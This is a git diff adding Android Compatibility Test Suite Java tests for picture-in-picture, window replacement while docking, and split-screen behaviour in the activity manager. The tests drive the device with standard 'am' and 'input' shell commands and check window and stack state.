+ public void testPreventSetAspectRatioWhileExpanding() throws Exception {
+ if (!supportsPip()) return;
+
+ // Launch the PiP activity
+ launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+
+ // Trigger it to go back to fullscreen and try to set the aspect ratio, and ensure that the
+ // call to set the aspect ratio did not prevent the PiP from returning to fullscreen
+ executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_EXPAND_PIP
+ + " -e " + EXTRA_SET_ASPECT_RATIO_WITH_DELAY_NUMERATOR + " 123456789"
+ + " -e " + EXTRA_SET_ASPECT_RATIO_WITH_DELAY_DENOMINATOR + " 100000000");
+ mAmWmState.waitForValidState(
+ PIP_ACTIVITY, WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
+ assertPinnedStackDoesNotExist();
+ }
+
+ @Test
+ public void testSetRequestedOrientationWhilePinned() throws Exception {
+ if (!supportsPip()) return;
+
+ // Launch the PiP activity fixed as portrait, and enter picture-in-picture
+ launchActivity(PIP_ACTIVITY,
+ EXTRA_FIXED_ORIENTATION, String.valueOf(ORIENTATION_PORTRAIT),
+ EXTRA_ENTER_PIP, "true");
+ assertPinnedStackExists();
+
+ // Request that the orientation is set to landscape
+ executeShellCommand("am broadcast -a "
+ + PIP_ACTIVITY_ACTION_SET_REQUESTED_ORIENTATION + " -e "
+ + EXTRA_FIXED_ORIENTATION + " " + String.valueOf(ORIENTATION_LANDSCAPE));
+
+ // Launch the activity back into fullscreen and ensure that it is now in landscape
+ launchActivity(PIP_ACTIVITY);
+ mAmWmState.waitForValidState(
+ PIP_ACTIVITY, WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
+ assertPinnedStackDoesNotExist();
+ assertTrue(mAmWmState.getWmState().getLastOrientation() == ORIENTATION_LANDSCAPE);
+ }
+
+ @Test
+ public void testWindowButtonEntersPip() throws Exception {
+ if (!supportsPip()) return;
+
+ // Launch the PiP activity trigger the window button, ensure that we have entered PiP
+ launchActivity(PIP_ACTIVITY);
+ pressWindowButton();
+ mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+ assertPinnedStackExists();
+ }
+
+ @Test
+ public void testFinishPipActivityWithTaskOverlay() throws Exception {
+ if (!supportsPip()) return;
+
+ // Launch PiP activity
+ launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+ assertPinnedStackExists();
+ int taskId = mAmWmState.getAmState().getStandardStackByWindowingMode(
+ WINDOWING_MODE_PINNED).getTopTask().mTaskId;
+
+ // Ensure that we don't any any other overlays as a result of launching into PIP
+ launchHomeActivity();
+
+ // Launch task overlay activity into PiP activity task
+ launchPinnedActivityAsTaskOverlay(TRANSLUCENT_TEST_ACTIVITY, taskId);
+
+ // Finish the PiP activity and ensure that there is no pinned stack
+ executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_FINISH);
+ mAmWmState.waitForWithAmState((amState) -> {
+ ActivityStack stack = amState.getStandardStackByWindowingMode(WINDOWING_MODE_PINNED);
+ return stack == null;
+ }, "Waiting for pinned stack to be removed...");
+ assertPinnedStackDoesNotExist();
+ }
+
+ @Test
+ public void testNoResumeAfterTaskOverlayFinishes() throws Exception {
+ if (!supportsPip()) return;
+
+ // Launch PiP activity
+ launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+ assertPinnedStackExists();
+ int taskId = mAmWmState.getAmState().getStandardStackByWindowingMode(
+ WINDOWING_MODE_PINNED).getTopTask().mTaskId;
+
+ // Launch task overlay activity into PiP activity task
+ launchPinnedActivityAsTaskOverlay(TRANSLUCENT_TEST_ACTIVITY, taskId);
+
+ // Finish the task overlay activity while animating and ensure that the PiP activity never
+ // got resumed
+ String logSeparator = clearLogcat();
+ executeShellCommand("am stack resize-animated 4 20 20 500 500");
+ executeShellCommand("am broadcast -a " + TEST_ACTIVITY_ACTION_FINISH);
+ mAmWmState.waitFor((amState, wmState) -> !amState.containsActivity(
+ TRANSLUCENT_TEST_ACTIVITY), "Waiting for test activity to finish...");
+ final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(PIP_ACTIVITY,
+ logSeparator);
+ assertTrue(lifecycleCounts.mResumeCount == 0);
+ assertTrue(lifecycleCounts.mPauseCount == 0);
+ }
+
+ @Test
+ public void testPinnedStackWithDockedStack() throws Exception {
+ if (!supportsPip() || !supportsSplitScreenMultiWindow()) return;
+
+ launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+ launchActivityInDockStack(LAUNCHING_ACTIVITY);
+ launchActivityToSide(true, false, TEST_ACTIVITY);
+ mAmWmState.assertVisibility(PIP_ACTIVITY, true);
+ mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
+ mAmWmState.assertVisibility(TEST_ACTIVITY, true);
+
+ // Launch the activities again to take focus and make sure nothing is hidden
+ launchActivityInDockStack(LAUNCHING_ACTIVITY);
+ mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
+ mAmWmState.assertVisibility(TEST_ACTIVITY, true);
+
+ launchActivityToSide(true, false, TEST_ACTIVITY);
+ mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
+ mAmWmState.assertVisibility(TEST_ACTIVITY, true);
+
+ // Go to recents to make sure that fullscreen stack is invisible
+ // Some devices do not support recents or implement it differently (instead of using a
+ // separate stack id or as an activity), for those cases the visibility asserts will be
+ // ignored
+ pressAppSwitchButton();
+ mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
+ mAmWmState.assertVisibility(TEST_ACTIVITY, false);
+ }
+
+ @Test
+ public void testLaunchTaskByComponentMatchMultipleTasks() throws Exception {
+ if (!supportsPip()) return;
+
+ // Launch a fullscreen activity which will launch a PiP activity in a new task with the same
+ // affinity
+ launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY);
+ launchActivity(PIP_ACTIVITY_WITH_SAME_AFFINITY);
+ assertPinnedStackExists();
+
+ // Launch the root activity again...
+ int rootActivityTaskId = mAmWmState.getAmState().getTaskByActivityName(
+ TEST_ACTIVITY_WITH_SAME_AFFINITY).mTaskId;
+ launchHomeActivity();
+ launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY);
+
+ // ...and ensure that the root activity task is found and reused, and that the pinned stack
+ // is unaffected
+ assertPinnedStackExists();
+ mAmWmState.assertFocusedActivity("Expected root activity focused",
+ TEST_ACTIVITY_WITH_SAME_AFFINITY);
+ assertTrue(rootActivityTaskId == mAmWmState.getAmState().getTaskByActivityName(
+ TEST_ACTIVITY_WITH_SAME_AFFINITY).mTaskId);
+ }
+
+ @Test
+ public void testLaunchTaskByAffinityMatchMultipleTasks() throws Exception {
+ if (!supportsPip()) return;
+
+ // Launch a fullscreen activity which will launch a PiP activity in a new task with the same
+ // affinity, and also launch another activity in the same task, while finishing itself. As
+ // a result, the task will not have a component matching the same activity as what it was
+ // started with
+ launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY,
+ EXTRA_START_ACTIVITY, getActivityComponentName(TEST_ACTIVITY),
+ EXTRA_FINISH_SELF_ON_RESUME, "true");
+ mAmWmState.waitForValidState(
+ TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
+ launchActivity(PIP_ACTIVITY_WITH_SAME_AFFINITY);
+ mAmWmState.waitForValidState(
+ PIP_ACTIVITY_WITH_SAME_AFFINITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+ assertPinnedStackExists();
+
+ // Launch the root activity again...
+ int rootActivityTaskId = mAmWmState.getAmState().getTaskByActivityName(
+ TEST_ACTIVITY).mTaskId;
+ launchHomeActivity();
+ launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY);
+
+ // ...and ensure that even while matching purely by task affinity, the root activity task is
+ // found and reused, and that the pinned stack is unaffected
+ assertPinnedStackExists();
+ mAmWmState.assertFocusedActivity("Expected root activity focused", TEST_ACTIVITY);
+ assertTrue(rootActivityTaskId == mAmWmState.getAmState().getTaskByActivityName(
+ TEST_ACTIVITY).mTaskId);
+ }
+
+ @Test
+ public void testLaunchTaskByAffinityMatchSingleTask() throws Exception {
+ if (!supportsPip()) return;
+
+ // Launch an activity into the pinned stack with a fixed affinity
+ launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY,
+ EXTRA_ENTER_PIP, "true",
+ EXTRA_START_ACTIVITY, getActivityComponentName(PIP_ACTIVITY),
+ EXTRA_FINISH_SELF_ON_RESUME, "true");
+ mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+ assertPinnedStackExists();
+
+ // Launch the root activity again, of the matching task and ensure that we expand to
+ // fullscreen
+ int activityTaskId = mAmWmState.getAmState().getTaskByActivityName(
+ PIP_ACTIVITY).mTaskId;
+ launchHomeActivity();
+ launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY);
+ mAmWmState.waitForValidState(
+ PIP_ACTIVITY, WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
+ assertPinnedStackDoesNotExist();
+ assertTrue(activityTaskId == mAmWmState.getAmState().getTaskByActivityName(
+ PIP_ACTIVITY).mTaskId);
+ }
+
+ /** Test that reported display size corresponds to fullscreen after exiting PiP. */
+ @Test
+ public void testDisplayMetricsPinUnpin() throws Exception {
+ if (!supportsPip()) return;
+
+ String logSeparator = clearLogcat();
+ launchActivity(TEST_ACTIVITY);
+ final int defaultWindowingMode = WINDOWING_MODE_FULLSCREEN;
+ // TODO: Uncomment the line below after we start dumping AM to proto.
+ //final int defaultWindowingMode = mAmWmState.getAmState().getActivity(TEST_ACTIVITY).getWindowingMode();
+ final ReportedSizes initialSizes = getLastReportedSizesForActivity(TEST_ACTIVITY,
+ logSeparator);
+ final Rect initialAppBounds = readAppBounds(TEST_ACTIVITY, logSeparator);
+ assertNotNull("Must report display dimensions", initialSizes);
+ assertNotNull("Must report app bounds", initialAppBounds);
+
+ logSeparator = clearLogcat();
+ launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+ mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+ final ReportedSizes pinnedSizes = getLastReportedSizesForActivity(PIP_ACTIVITY,
+ logSeparator);
+ final Rect pinnedAppBounds = readAppBounds(PIP_ACTIVITY, logSeparator);
+ assertFalse("Reported display size when pinned must be different from default",
+ initialSizes.equals(pinnedSizes));
+ assertFalse("Reported app bounds when pinned must be different from default",
+ initialAppBounds.width() == pinnedAppBounds.width()
+ && initialAppBounds.height() == pinnedAppBounds.height());
+
+ logSeparator = clearLogcat();
+ launchActivity(PIP_ACTIVITY, defaultWindowingMode);
+ final ReportedSizes finalSizes = getLastReportedSizesForActivity(PIP_ACTIVITY,
+ logSeparator);
+ final Rect finalAppBounds = readAppBounds(PIP_ACTIVITY, logSeparator);
+ assertEquals("Must report default size after exiting PiP", initialSizes, finalSizes);
+ assertEquals("Must report default app width() after exiting PiP", initialAppBounds.width(),
+ finalAppBounds.width());
+ assertEquals("Must report default app height() after exiting PiP", initialAppBounds.height(),
+ finalAppBounds.height());
+ }
+
+ private static final Pattern sAppBoundsPattern = Pattern.compile(
+ "(.+)mAppBounds=Rect\\((\\d+), (\\d+) - (\\d+), (\\d+)\\)(.*)");
+
+ /** Read app bounds in last applied configuration from logs. */
+ private Rect readAppBounds(String activityName, String logSeparator) throws Exception {
+ final String[] lines = getDeviceLogsForComponent(activityName, logSeparator);
+ for (int i = lines.length - 1; i >= 0; i--) {
+ final String line = lines[i].trim();
+ final Matcher matcher = sAppBoundsPattern.matcher(line);
+ if (matcher.matches()) {
+ final int left = Integer.parseInt(matcher.group(2));
+ final int top = Integer.parseInt(matcher.group(3));
+ final int right = Integer.parseInt(matcher.group(4));
+ final int bottom = Integer.parseInt(matcher.group(5));
+ return new Rect(left, top, right - left, bottom - top);
+ }
+ }
+ return null;
+ }
+
+ /**
+ * Called after the given {@param activityName} has been moved to the fullscreen stack. Ensures
+ * that the stack matching the {@param windowingMode} and {@param activityType} is focused, and
+ * checks the top and/or bottom tasks in the fullscreen stack if
+ * {@param expectTopTaskHasActivity} or {@param expectBottomTaskHasActivity} are set respectively.
+ */
+ private void assertPinnedStackStateOnMoveToFullscreen(String activityName, int windowingMode,
+ int activityType) throws Exception {
+ mAmWmState.waitForFocusedStack(windowingMode, activityType);
+ mAmWmState.assertFocusedStack("Wrong focused stack", windowingMode, activityType);
+ mAmWmState.waitForActivityState(activityName, STATE_STOPPED);
+ assertTrue(mAmWmState.getAmState().hasActivityState(activityName, STATE_STOPPED));
+ assertTrue(mAmWmState.getAmState().containsActivityInWindowingMode(
+ activityName, WINDOWING_MODE_FULLSCREEN));
+ assertPinnedStackDoesNotExist();
+ }
+
+ /**
+ * Asserts that the pinned stack bounds does not intersect with the IME bounds.
+ */
+ private void assertPinnedStackDoesNotIntersectIME() throws Exception {
+ // Ensure that the IME is visible
+ WindowManagerState wmState = mAmWmState.getWmState();
+ wmState.computeState();
+ WindowManagerState.WindowState imeWinState = wmState.getInputMethodWindowState();
+ assertTrue(imeWinState != null);
+
+ // Ensure that the PIP movement is constrained by the display bounds intersecting the
+ // non-IME bounds
+ Rect imeContentFrame = imeWinState.getContentFrame();
+ Rect imeContentInsets = imeWinState.getGivenContentInsets();
+ Rect imeBounds = new Rect(imeContentFrame.left + imeContentInsets.left,
+ imeContentFrame.top + imeContentInsets.top,
+ imeContentFrame.right - imeContentInsets.width(),
+ imeContentFrame.bottom - imeContentInsets.height());
+ wmState.computeState();
+ Rect pipMovementBounds = wmState.getPinnedStackMomentBounds();
+ assertTrue(!Rect.intersects(pipMovementBounds, imeBounds));
+ }
+
+ /**
+ * Asserts that the pinned stack bounds is contained in the display bounds.
+ */
+ private void assertPinnedStackActivityIsInDisplayBounds(String activity) throws Exception {
+ final WindowManagerState.WindowState windowState = getWindowState(activity);
+ final WindowManagerState.Display display = mAmWmState.getWmState().getDisplay(
+ windowState.getDisplayId());
+ final Rect displayRect = display.getDisplayRect();
+ final Rect pinnedStackBounds = mAmWmState.getAmState().getStandardStackByWindowingMode(
+ WINDOWING_MODE_PINNED).getBounds();
+ assertTrue(displayRect.contains(pinnedStackBounds));
+ }
+
+ /**
+ * Asserts that the pinned stack exists.
+ */
+ private void assertPinnedStackExists() throws Exception {
+ mAmWmState.assertContainsStack("Must contain pinned stack.", WINDOWING_MODE_PINNED,
+ ACTIVITY_TYPE_STANDARD);
+ }
+
+ /**
+ * Asserts that the pinned stack does not exist.
+ */
+ private void assertPinnedStackDoesNotExist() throws Exception {
+ mAmWmState.assertDoesNotContainStack("Must not contain pinned stack.",
+ WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+ }
+
+ /**
+ * Asserts that the pinned stack is the front stack.
+ */
+ private void assertPinnedStackIsOnTop() throws Exception {
+ mAmWmState.assertFrontStack("Pinned stack must always be on top.",
+ WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+ }
+
+ /**
+ * Asserts that the activity received exactly one of each of the callbacks when entering and
+ * exiting picture-in-picture.
+ */
+ private void assertValidPictureInPictureCallbackOrder(String activityName, String logSeparator)
+ throws Exception {
+ final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(activityName,
+ logSeparator);
+
+ if (lifecycleCounts.mConfigurationChangedCount != 1) {
+ fail(activityName + " has received " + lifecycleCounts.mConfigurationChangedCount
+ + " onConfigurationChanged() calls, expecting 1");
+ } else if (lifecycleCounts.mPictureInPictureModeChangedCount != 1) {
+ fail(activityName + " has received " + lifecycleCounts.mPictureInPictureModeChangedCount
+ + " onPictureInPictureModeChanged() calls, expecting 1");
+ } else if (lifecycleCounts.mMultiWindowModeChangedCount != 1) {
+ fail(activityName + " has received " + lifecycleCounts.mMultiWindowModeChangedCount
+ + " onMultiWindowModeChanged() calls, expecting 1");
+ } else {
+ int lastPipLine = lifecycleCounts.mLastPictureInPictureModeChangedLineIndex;
+ int lastMwLine = lifecycleCounts.mLastMultiWindowModeChangedLineIndex;
+ int lastConfigLine = lifecycleCounts.mLastConfigurationChangedLineIndex;
+ if (!(lastPipLine < lastMwLine && lastMwLine < lastConfigLine)) {
+ fail(activityName + " has received callbacks in unexpected order. Expected:"
+ + " pip < mw < config change, but got line indices: " + lastPipLine + ", "
+ + lastMwLine + ", " + lastConfigLine + " respectively");
+ }
+ }
+ }
+
+ /**
+ * Waits until the expected picture-in-picture callbacks have been made.
+ */
+ private void waitForValidPictureInPictureCallbacks(String activityName, String logSeparator)
+ throws Exception {
+ mAmWmState.waitFor((amState, wmState) -> {
+ try {
+ final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(
+ activityName, logSeparator);
+ return lifecycleCounts.mConfigurationChangedCount == 1 &&
+ lifecycleCounts.mPictureInPictureModeChangedCount == 1 &&
+ lifecycleCounts.mMultiWindowModeChangedCount == 1;
+ } catch (Exception e) {
+ return false;
+ }
+ }, "Waiting for picture-in-picture activity callbacks...");
+ }
+
+ private void waitForValidAspectRatio(int num, int denom) throws Exception {
+ // Hacky, but we need to wait for the auto-enter picture-in-picture animation to complete
+ // and before we can check the pinned stack bounds
+ mAmWmState.waitForWithAmState((state) -> {
+ Rect bounds = state.getStandardStackByWindowingMode(WINDOWING_MODE_PINNED).getBounds();
+ return floatEquals((float) bounds.width() / bounds.height(), (float) num / denom);
+ }, "waitForValidAspectRatio");
+ }
+
+ /**
+ * @return the window state for the given {@param activity}'s window.
+ */
+ private WindowManagerState.WindowState getWindowState(String activity) throws Exception {
+ String windowName = getWindowName(activity);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(activity).build());
+ final List<WindowManagerState.WindowState> tempWindowList = new ArrayList<>();
+ mAmWmState.getWmState().getMatchingVisibleWindowState(windowName, tempWindowList);
+ return tempWindowList.get(0);
+ }
+
+ /**
+ * Compares two floats with a common epsilon.
+ */
+ private void assertFloatEquals(float actual, float expected) {
+ if (!floatEquals(actual, expected)) {
+ fail(expected + " not equal to " + actual);
+ }
+ }
+
+ private boolean floatEquals(float a, float b) {
+ return Math.abs(a - b) < FLOAT_COMPARE_EPSILON;
+ }
+
+ /**
+ * Triggers a tap over the pinned stack bounds to trigger the PIP to close.
+ */
+ private void tapToFinishPip() throws Exception {
+ Rect pinnedStackBounds = mAmWmState.getAmState().getStandardStackByWindowingMode(
+ WINDOWING_MODE_PINNED).getBounds();
+ int tapX = pinnedStackBounds.left + pinnedStackBounds.width() - 100;
+ int tapY = pinnedStackBounds.top + pinnedStackBounds.height() - 100;
+ executeShellCommand(String.format("input tap %d %d", tapX, tapY));
+ }
+
+ /**
+ * Launches the given {@param activityName} into the {@param taskId} as a task overlay.
+ */
+ private void launchPinnedActivityAsTaskOverlay(String activityName, int taskId)
+ throws Exception {
+ executeShellCommand(getAmStartCmd(activityName) + " --task " + taskId + " --task-overlay");
+
+ mAmWmState.waitForValidState(activityName, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+ }
+
+ /**
+ * Sets an app-ops op for a given package to a given mode.
+ */
+ private void setAppOpsOpToMode(String packageName, String op, int mode) throws Exception {
+ executeShellCommand(String.format("appops set %s %s %d", packageName, op, mode));
+ }
+
+ /**
+ * Triggers the window keycode.
+ */
+ private void pressWindowButton() throws Exception {
+ mDevice.pressKeyCode(KEYCODE_WINDOW);
+ }
+
+ /**
+ * TODO: Improve tests check to actually check that apps are not interactive instead of checking
+ * if the stack is focused.
+ */
+ private void pinnedStackTester(String startActivityCmd, String startActivity,
+ String topActivityName, boolean moveTopToPinnedStack, boolean isFocusable)
+ throws Exception {
+ executeShellCommand(startActivityCmd);
+ mAmWmState.waitForValidState(new WaitForValidActivityState.Builder(startActivity).build());
+
+ if (moveTopToPinnedStack) {
+ final int stackId = mAmWmState.getAmState().getStackIdByActivityName(topActivityName);
+
+ assertNotEquals(stackId, INVALID_STACK_ID);
+ executeShellCommand(getMoveToPinnedStackCommand(stackId));
+ }
+
+ mAmWmState.waitForValidState(topActivityName,
+ WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.computeState();
+
+ if (supportsPip()) {
+ final String windowName = getWindowName(topActivityName);
+ assertPinnedStackExists();
+ mAmWmState.assertFrontStack("Pinned stack must be the front stack.",
+ WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertVisibility(topActivityName, true);
+
+ if (isFocusable) {
+ mAmWmState.assertFocusedStack("Pinned stack must be the focused stack.",
+ WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertFocusedActivity(
+ "Pinned activity must be focused activity.", topActivityName);
+ mAmWmState.assertFocusedWindow(
+ "Pinned window must be focused window.", windowName);
+ // Not checking for resumed state here because PiP overlay can be launched on top
+ // in different task by SystemUI.
+ } else {
+ // Don't assert that the stack is not focused as a focusable PiP overlay can be
+ // launched on top as a task overlay by SystemUI.
+ mAmWmState.assertNotFocusedActivity(
+ "Pinned activity can't be the focused activity.", topActivityName);
+ mAmWmState.assertNotResumedActivity(
+ "Pinned activity can't be the resumed activity.", topActivityName);
+ mAmWmState.assertNotFocusedWindow(
+ "Pinned window can't be focused window.", windowName);
+ }
+ } else {
+ mAmWmState.assertDoesNotContainStack("Must not contain pinned stack.",
+ WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+ }
+ }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerReplaceWindowTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerReplaceWindowTests.java
new file mode 100644
index 0000000..2d16057
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerReplaceWindowTests.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.server.am.StateLogger.log;
+
+import junit.framework.Assert;
+
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerReplaceWindowTests
+ */
+public class ActivityManagerReplaceWindowTests extends ActivityManagerTestBase {
+
+ private static final String SLOW_CREATE_ACTIVITY_NAME = "SlowCreateActivity";
+ private static final String NO_RELAUNCH_ACTIVITY_NAME = "NoRelaunchActivity";
+
+ private List<String> mTempWindowTokens = new ArrayList();
+
+ @Test
+ public void testReplaceWindow_Dock_Relaunch() throws Exception {
+ testReplaceWindow_Dock(true);
+ }
+
+ @Test
+ public void testReplaceWindow_Dock_NoRelaunch() throws Exception {
+ testReplaceWindow_Dock(false);
+ }
+
+ private void testReplaceWindow_Dock(boolean relaunch) throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no multi-window support");
+ return;
+ }
+
+ final String activityName =
+ relaunch ? SLOW_CREATE_ACTIVITY_NAME : NO_RELAUNCH_ACTIVITY_NAME;
+ final String windowName = getWindowName(activityName);
+ final String amStartCmd = getAmStartCmd(activityName);
+
+ executeShellCommand(amStartCmd);
+
+ // Sleep 2 seconds, then check if the window is started properly.
+ // SlowCreateActivity will do a sleep inside its onCreate() to simulate a
+ // slow-starting app. So instead of relying on WindowManagerState's
+ // retrying mechanism, we do an explicit sleep to avoid excess spews
+ // from WindowManagerState.
+ if (SLOW_CREATE_ACTIVITY_NAME.equals(activityName)) {
+ Thread.sleep(2000);
+ }
+
+ log("==========Before Docking========");
+ final String oldToken = getWindowToken(windowName, activityName);
+
+ // Move to docked stack
+ setActivityTaskWindowingMode(activityName, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+
+ // Sleep 5 seconds, then check if the window is replaced properly.
+ Thread.sleep(5000);
+
+ log("==========After Docking========");
+ final String newToken = getWindowToken(windowName, activityName);
+
+ // For both relaunch and not relaunch case, we'd like the window to be kept.
+ Assert.assertEquals("Window replaced while docking.", oldToken, newToken);
+ }
+
+ private String getWindowToken(String windowName, String activityName)
+ throws Exception {
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(activityName).build());
+
+ mAmWmState.assertVisibility(activityName, true);
+
+ mAmWmState.getWmState().getMatchingWindowTokens(windowName, mTempWindowTokens);
+
+ Assert.assertEquals("Should have exactly one window for the activity.",
+ 1, mTempWindowTokens.size());
+
+ return mTempWindowTokens.get(0);
+ }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerSplitScreenTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerSplitScreenTests.java
new file mode 100644
index 0000000..a32dc51
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerSplitScreenTests.java
@@ -0,0 +1,774 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_HOME;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_RECENTS;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
+import static android.server.am.StateLogger.log;
+import static android.server.am.WindowManagerState.TRANSIT_WALLPAPER_OPEN;
+
+import static android.app.ActivityManager.SPLIT_SCREEN_CREATE_MODE_TOP_OR_LEFT;
+import static android.app.ActivityManager.SPLIT_SCREEN_CREATE_MODE_BOTTOM_OR_RIGHT;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.graphics.Rect;
+import android.platform.test.annotations.Presubmit;
+
+import org.junit.Test;
+
+/**
+ * Build/Install/Run:
+ * atest CtsActivityManagerDeviceTestCases:android.server.am.ActivityManagerSplitScreenTests
+ */
+public class ActivityManagerSplitScreenTests extends ActivityManagerTestBase {
+
+ private static final String TEST_ACTIVITY_NAME = "TestActivity";
+ private static final String NON_RESIZEABLE_ACTIVITY_NAME = "NonResizeableActivity";
+ private static final String DOCKED_ACTIVITY_NAME = "DockedActivity";
+ private static final String NO_RELAUNCH_ACTIVITY_NAME = "NoRelaunchActivity";
+ private static final String SINGLE_INSTANCE_ACTIVITY_NAME = "SingleInstanceActivity";
+ private static final String SINGLE_TASK_ACTIVITY_NAME = "SingleTaskActivity";
+
+ private static final String TEST_ACTIVITY_ACTION_FINISH =
+ "android.server.am.TestActivity.finish_self";
+
+ private static final int TASK_SIZE = 600;
+ private static final int STACK_SIZE = 300;
+
+ @Test
+ public void testMinimumDeviceSize() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ mAmWmState.assertDeviceDefaultDisplaySize(
+ "Devices supporting multi-window must be larger than the default minimum"
+ + " task size");
+ }
+
+ @Test
+ @Presubmit
+ public void testStackList() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ launchActivity(TEST_ACTIVITY_NAME);
+ mAmWmState.computeState(new String[] {TEST_ACTIVITY_NAME});
+ mAmWmState.assertContainsStack("Must contain home stack.",
+ WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
+ mAmWmState.assertContainsStack("Must contain fullscreen stack.",
+ WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertDoesNotContainStack("Must not contain docked stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+ }
+
+ @Test
+ public void testDockActivity() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ launchActivityInDockStack(TEST_ACTIVITY_NAME);
+ mAmWmState.computeState(new String[] {TEST_ACTIVITY_NAME});
+ mAmWmState.assertContainsStack("Must contain home stack.",
+ WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
+ mAmWmState.assertContainsStack("Must contain docked stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
